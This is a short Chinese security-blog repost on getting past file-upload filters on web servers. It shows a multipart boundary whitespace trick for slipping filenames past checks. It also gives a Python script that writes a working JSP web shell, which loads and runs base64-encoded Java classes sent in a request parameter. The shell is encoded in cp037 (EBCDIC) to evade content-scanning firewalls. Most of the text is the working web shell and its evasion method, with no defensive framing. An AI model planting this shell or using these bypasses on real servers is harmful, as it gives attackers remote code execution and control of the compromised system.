原文地址:https://xz.aliyun.com/t/11607
0x01 文件名绕过
boundary等号前后空格绕过
Content-Type: multipart/form-data; boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
0x02 文件内容绕过
#python2 data = '''<?xml version="1.0" encoding="cp037"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> class PERFORM extends ClassLoader { PERFORM(ClassLoader c) { super(c);} public Class bookkeeping(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] branch(String str) throws Exception { Class base64; byte[] value = null; try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str }); } catch (Exception e) { try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str }); } catch (Exception ee) {} } return value; } </jsp:declaration> <jsp:scriptlet> String cls = request.getParameter("xxoo"); if (cls != null) { new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response}); } </jsp:scriptlet> </jsp:root>''' fcp037 = open('cp037.jsp','wb') fcp037.write(data.encode('cp037'))
本文作者:HACK_Learn
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/185292.html